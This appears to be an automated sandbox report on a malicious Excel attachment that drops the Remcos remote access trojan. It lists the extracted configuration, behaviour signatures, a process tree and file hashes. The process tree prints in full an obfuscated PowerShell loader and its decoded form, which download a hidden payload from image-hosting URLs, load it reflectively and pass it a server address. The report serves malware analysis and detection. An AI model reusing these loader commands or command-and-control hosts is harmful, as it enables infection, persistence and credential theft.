Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16-04-2024 15:32

General

  • Target

    OFFER DETAIL 75645.xls

  • Size

    319KB

  • MD5

    1dc1fa973594e14e2b517f281400941f

  • SHA1

    1565eb8c6dc5248ecd19cfe4ff1cb6c33541ed1e

  • SHA256

    fd363c89da6fb751baac4db6bc4d1cc302c88e1efeba1bfab397a627d4c1eead

  • SHA512

    90e146ad9faa2acc760511fbdeed8c6883bbb274a158349ac995714709d77374789f77454e1bb818477274e0c60eb90684bcad3da3daa46f9d558861cf307669

  • SSDEEP

    6144:xLunJatY35qAOJl/YrLYz+WrNhZF+E+fgL+0dD8ivSbVX2MIMflDClBnPlWjIKw8:xmJaU3bVX2MIuVC7ntWjIKN

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

ezege.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-IVESQI

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 10 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Abuses OpenXML format to download file from external location
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\OFFER DETAIL 75645.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2204
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1740
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:1280
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\imageiloveyoutruly.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:784
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreNgDgTrevDgTreDkDgTreNwDgTre4DgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreF8DgTredgBiDgTreHMDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDIDgTreNQDgTre4DgTreDgDgTreNDgTreDgTre2DgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreNgDgTrevDgTreDkDgTreNwDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreXwB2DgTreGIDgTrecwDgTreuDgTreGoDgTrecDgTreBnDgTreD8DgTreMQDgTre3DgTreDEDgTreMgDgTre1DgTreDgDgTreODgTreDgTre1DgTreDDgTreDgTreMDgTreDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBEDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreRDgTreBhDgTreHQDgTreYQBGDgTreHIDgTrebwBtDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreC0DgTrebgBlDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreFMDgTreVDgTreBBDgTreFIDgTreVDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBSDgTreGUDgTreZgBsDgTreGUDgTreYwB0DgTreGkDgTrebwBuDgTreC4DgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreF0DgTreOgDgTre6DgTreEwDgTrebwBhDgTreGQDgTreKDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreFDgTreDgTreUgBPDgTreEoDgTreRQBUDgTreE8DgTreQQBVDgTreFQDgTreTwBNDgTreEEDgTreQwBBDgTreE8DgTreLgBWDgTreEIDgTreLgBIDgTreG8DgTrebQBlDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBEDgTreEUDgTreVwDgTrevDgTreDDgTreDgTreOQDgTrewDgTreDIDgTreLwDgTreyDgTreDIDgTreLgDgTre0DgTreDcDgTreMQDgTreuDgTreDMDgTreMwDgTrexDgTreC4DgTreNQDgTre0DgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreEMDgTreSDgTreBODgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreEEDgTrecwBtDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1160
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/766/978/full/new_image_vbs.jpg?1712588469', 'https://uploaddeimagens.com.br/images/004/766/979/original/new_image_vbs.jpg?1712588500'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.DEW/0902/22.471.331.54//:ptth' , '1' , 'C:\ProgramData\' , 'CCHN','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Adds Run key to start application
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1816
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\CCHN.vbs
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2640
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:1784
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\kdwucecuvcwpvkandkb"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:740
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\nxbncwmvjkoufywrmvospu"
                6⤵
                  PID:1044
                • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                  C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\nxbncwmvjkoufywrmvospu"
                  6⤵
                  • Accesses Microsoft Outlook accounts
                  PID:332
                • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                  C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\xahfvpxpxsghhekvdfbtahndf"
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1460

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        Filesize

        1KB

        MD5

        8a19e2f05bb9c727f7fb24ef7e6541e7

        SHA1

        fc4e212ec0c090fffc2c1b9c70fe5cb6c77592db

        SHA256

        7eb17f03f49ad906d62f715fe4e81e9341f8e7e900e429bc83d0787340dfa42f

        SHA512

        82b40631302b2338d74c48aaf0b848435020936eb99a1945a6a5397e123a6107eb5681d458595af641d4078383de41370afc882d94aec89e4c65f51e86c4c0d4

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

        Filesize

        68KB

        MD5

        29f65ba8e88c063813cc50a4ea544e93

        SHA1

        05a7040d5c127e68c25d81cc51271ffb8bef3568

        SHA256

        1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

        SHA512

        e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

        Filesize

        724B

        MD5

        8202a1cd02e7d69597995cabbe881a12

        SHA1

        8858d9d934b7aa9330ee73de6c476acf19929ff6

        SHA256

        58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

        SHA512

        97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        Filesize

        410B

        MD5

        391260f9f1eb11eeb78d1234a1be2b16

        SHA1

        1bcfd5e4ef4d77d08231325771f86173517a72c8

        SHA256

        604fef1789b2bf15ce23a867357e1f3390fb9c660527989410eb169ea524e326

        SHA512

        4e732c5ad888a9f7cb082eac02cb5babade5521be66e3a9bc8b5b6b88dc9362b2457e3464a21a5b0d40e1ec29c421a974e6d7a455a3c61e40883278a768263cb

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

        Filesize

        344B

        MD5

        efdc1d25ccf283c8424046be11799905

        SHA1

        38d3cd966a1635c412c3b6741e63b324e7828963

        SHA256

        d0d85a18bafd6239f7be2adc2d27de549062e5e522af9f48e0a9f0ecd9c6c955

        SHA512

        385281d0842fd93de752e7764512f8a4134f68d2025e07cf5e08ea13fed9a0c7e54e5b49243724602b56ad36d349b476c5831f32132e7afe00a3ea221f1f3b02

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

        Filesize

        344B

        MD5

        eea778ef4de44e0550999fa8c71c3fcc

        SHA1

        345a0d6fad74909153b35c70175cc271442d56db

        SHA256

        ce16faa726799bbacb4df56169766be76f8ebcd52b76c9c8ad2ae1824ef11b59

        SHA512

        198b1539dcb08e89c13bc4ffedf1ac097a17b06c17b39034073f2f7cc68960afcdb370b5c855dd6b0715ec0ac198062b0e69d608ed10f33b73af5a64a3885cb2

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

        Filesize

        392B

        MD5

        ec7d76eca43360999f60381c9b7bce4f

        SHA1

        e8f558a04b86596ea1ca7f9bed2df45d0c8fb62f

        SHA256

        733d6788a614640107948c41542c037e4b700810a2a7a6f44ee7029dd0a67316

        SHA512

        62f2783e8cf60d6f1bff976b2adbaa698d4f31a0da1ef4e3c15e1cb220c9aad90978d552d6a0166d1eb03e0deacd3afddf6ca370ff84588b607136e820141252

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{3A61BFDC-4A31-47CC-A823-8FCD39D26929}.FSD

        Filesize

        128KB

        MD5

        0e7bcaced970e603faefaad149c0af40

        SHA1

        c35b967830345f0a067d97df3225d10389dc038f

        SHA256

        e6a383cabf1432d839f1a896cc6c482c28b169afef64b2926e589b8a7b4de0b1

        SHA512

        62e20793e046be08018de5ee849f3fc7109b4c69719a06f366196e8328e2b65c072deeed7e66c421b5800ec9f43ac509c5c9976da6f7fd7b9d11583734604390

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

        Filesize

        128KB

        MD5

        ede25303b757cf82f6c8b101c22f6a35

        SHA1

        1a2d439d0c4d421fc7320bf721c75aa3f535ac14

        SHA256

        6b80ea0894da05b11518f3ef2cf45c7e9ed533cef469e5fe3b9e5a1aac81c938

        SHA512

        083ed36c137f713376a41a4e6a8ecae6e082f38b77c83fd56b72312a2b5333fd4ef87cd4b9cab1723bba5c38decb7fe6cfddb472ab3d0e8afcf197d0b783aa51

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{20A2058C-2FB2-4D33-86B2-F8DFA515E9BC}.FSD

        Filesize

        128KB

        MD5

        0a0aebca4d40c9b6f29c8fd8425fbaf6

        SHA1

        09f478183c5fb8c35a5f5a0620a61b51990d69c0

        SHA256

        04eb2089971c500b82538342f7240193446bb5beac570c33360ca8e4a78e9abc

        SHA512

        ef9230c3b7a9757f471d66f8b3d394947160f23723c93c4c9dd6b4a8597e55bdbe9320c31883e82fb7ff3c3888ad7ec12f807122f833f7f2834198ca52128616

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OFFQJ7AH\iamwithyoubecauseiloveyoualotwhichneverbeenforesxyoumysweetheartialwaysloveryoutrulybeaucse___ineverwanttokissyou[1].doc

        Filesize

        73KB

        MD5

        96bd8f3d1b8badd184f3b8de29a26ab5

        SHA1

        5bbf4c72f5d2adc0348ac73cc1f70608dd1d554b

        SHA256

        74b7cbd3c66d01a6e25ccbe17375138c6a32699c61bf170e18ffecd6ebd55237

        SHA512

        dd8d1208f1954b24f5d2becfafa0ae27824a449486e946e6500a04c23c671a2ebb633b4c6808881003164aec027bd40801093d2b82e8e70f82408be5a2929847

      • C:\Users\Admin\AppData\Local\Temp\Cab695E.tmp

        Filesize

        65KB

        MD5

        ac05d27423a85adc1622c714f2cb6184

        SHA1

        b0fe2b1abddb97837ea0195be70ab2ff14d43198

        SHA256

        c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

        SHA512

